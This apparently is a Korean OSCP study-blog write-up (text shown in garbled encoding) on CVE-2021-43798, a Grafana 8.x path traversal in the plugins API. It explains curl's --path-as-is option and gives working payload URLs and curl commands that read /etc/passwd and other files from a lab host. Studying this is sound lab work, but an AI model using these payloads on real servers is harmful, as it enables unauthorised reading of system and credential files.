๊ฐ์
Grafana 8.x ๋ฒ์ ์์ ๋ฐ์ ํ๋ Path Traversal ์ทจ์ฝ์ ์ด๋ค.
ํ๋ฌ๊ทธ์ธ API ์๋ํฌ์ธํธ์ ๊ฒฝ๋ก์ ๋ํ ์ฌ์ฉ์ ์ ๋ ฅ์ ๋ํ ๊ฒ์ฆ์ด ๋ฏธํกํ์ฌ ์๋น์ค ์์ญ ์ธ์ ์์ ๋๋ ํฐ๋ฆฌ ๋ฑ์ ์ก์ธ์ค๊ฐ ๊ฐ๋ฅํ๊ฒ ๋๋ค.
๋ฌธ์ ์ ์ฝ๋ : https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
์ฐธ๊ณ
https://github.com/taythebot/CVE-2021-43798
GitHub - taythebot/CVE-2021-43798: CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth) - taythebot/CVE-2021-43798
github.com
curl์ --path-as-is ์ต์
์๋๋ผ๋ฉด ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ๋ ๊ฒฝ๋ก๊ฐ ์ ๊ทํ( normalization )๋ฅผ ๊ฑฐ์น๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๋ณํ์ด ๋๋ค.
์์) http://example.com/foo/../bar -> http://example.com/foo/bar
curl์ --path-as-is ์ต์ ์ ์ฌ์ฉํ๋ฉด ์ ๊ฐ์ ์ ๊ทํ(normalization)๋ฅผ ๋ฌด์ํ์ฌ ์๋ฒ์ ๋ฌธ์ ๊ทธ๋๋ก(byte-for-byte) ์ ์กํ๊ฒ ๋๋ค.
๊ทธ๋ฌ๋ฏ๋ก ๋ค์๊ณผ ๊ฐ์ ๊ฒฝ๋ก๊ฐ ๋ค์ด์ค๊ฒ ๋๋ฉด, ์๋ฒ๋ ๋ฐ์ ๊ทธ๋๋ก ์ฒ๋ฆฌํ๊ฒ ๋๋ฏ๋ก(๊ฑฐ๊ธฐ๋ค ์ฌ์ฉ์ ์ ๋ ฅ์ ๋ํ ๊ฒ์ฆ์ด ๋ฏธํกํ์ฌ ์ ๋ ฅ ๋ฐ์ ๋๋ก ์ฒ๋ฆฌํจ) passwd ํ์ผ์ ์ถ๋ ฅํ๊ฒ ๋๋ค.
http://192.168.248.193:3000/public/plugins/welcome/../../../../../../../../etc/passwd
Payload
curl --path-as-is http://192.168.248.193:3000/public/plugins/welcome/../../../../../../../../users/install.txt
or
curl --path-as-is http://192.168.248.193:3000/public/plugins/alertlist/../../../../../../../../users/install.txt
'๐ดCTF > OSCP' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
OSCP - 9.2.2. PHP Wrappers (0) | 2025.07.21 |
---|---|
OSCP - 9.2. File Inclusion Vulnerabilities, Labs Local File Inclusion (LFI) ๋ฐ access.log ํฌ์ด์ฆ๋ ์ทจ์ฝ์ (1) | 2025.07.21 |